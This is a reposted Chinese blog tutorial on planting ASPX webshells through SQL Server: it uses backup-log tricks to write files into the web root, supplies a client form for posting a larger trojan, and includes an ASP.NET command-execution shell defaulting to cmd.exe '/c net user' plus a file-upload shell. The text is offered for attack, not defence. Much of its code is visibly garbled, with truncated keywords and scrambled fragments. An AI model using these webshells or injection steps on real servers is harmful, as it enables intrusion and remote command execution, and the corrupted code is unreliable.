经典的 Aspx一句话木马使用

来源:互联网 发布:java程序员职业发展 编辑:程序博客网 时间:2024/05/18 19:47

经典的 Aspx一句话木马使用

转载请标明出处: http://blog.csdn.net/pomood_opp999   本文来自 CSDN 博客。x

1. 相当于 ASP 一句话木马 :

顺序代码

alter databas pub set RECOVERY FULL--

creat tabl pubs.dbo.cmd a imag

backup log pub to disk = 'c:/TM' with init

fals ;ow.Writ Request.Params["l"] ;ow.Clos %> ' insert into pubs.dbo.cmd a valu '<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWrit ow=new System.IO.StreamWrit Server.MapPath "images.aspx" .

backup log pub to disk = 'd:/test11.aspx'

客户端 post 一个变量 l 把木马代码丢在变量 l 里面就 ok 这个是类似 asp 一句话木马。 // 这个和 asp 一样。

//mu.aspx.htm 客户端 : 提交后访问 :http://IP/images.aspx

<form action=http://192.168.2.100/asp/mu.aspx method=post>

<b> 下面输入大马内容 :</b><br>

<textarea name=l cols=120 rows=35 width=45>

<%@ Page Language="VB" Debug="true" %>

<%@ import Namespace="system.IO" %>

<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

E As EventA rg Sub RunCmd Src As Object.

Dim myProcess As New Process      

Dim myProcessStartInfo As New ProcessStartInfo xpath.Text      

myProcessStartInfo.UseShellExecut = False   

myProcessStartInfo.RedirectStandardOutput = true  

myProcess.StartInfo = myProcessStartInfo     

myProcessStartInfo.A rguments=xCmd.text

myProcess.Start

Dim myStreamRead As StreamRead = myProcess.StandardOutput

Dim myStr As String = myStreamReader.Readtoend

myProcess.Clos

"<",mystring=replac mystring."<"

">",mystring=replac mystring.">"

result.text= vbcrlf & "<pre>" & mystr & "</pre>"

End Sub

</script><html><head>

<title>A SP.NET Shell for WebA dmin2.X Final</title>

<meta http-equiv="Content-Type" c /></head><body>

<form runat="server">

<asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">;Program</asp:Label>

<asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:/windows/system32/cmd.exe</asp:TextBox><br />

<asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">A rguments</asp:Label>

<asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox><br />

<asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BA CKGROUND-COLOR: #719bc5"  runat="server" Width="100px" Text="Run"></asp:Button><p>

<asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> </p></form></body></html>

</textarea><BR><center><br>

<input type=submit value= 提交 >

修改精简了下,2 下面这个是找网上的 asp.net 上传文件程序。也可以用:

顺序代码

 

drop tabl pubs.dbo.cmd

alt databas pub set RECOVERY FULL

creat tabl pubs.dbo.cmd a imag

backup log pub to disk = 'c:/TM' with init

EventA rg e {string u="files";str filename;int pos=f.PostedFile.FileName.LastIndexOf "//" ;filename=f.PostedFile.FileName.Substr po + 1 ;f.PostedFile.SaveA Server.MapPath u +"//"+filenam ;}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server"  /></form>' insert into pubs.dbo.cmd a valu '<script language="c#" runat="server">priv void bc object o.

backup log pub to disk = 'c:/inetpub/wwwroot/test11.aspx'

 

原创粉丝点击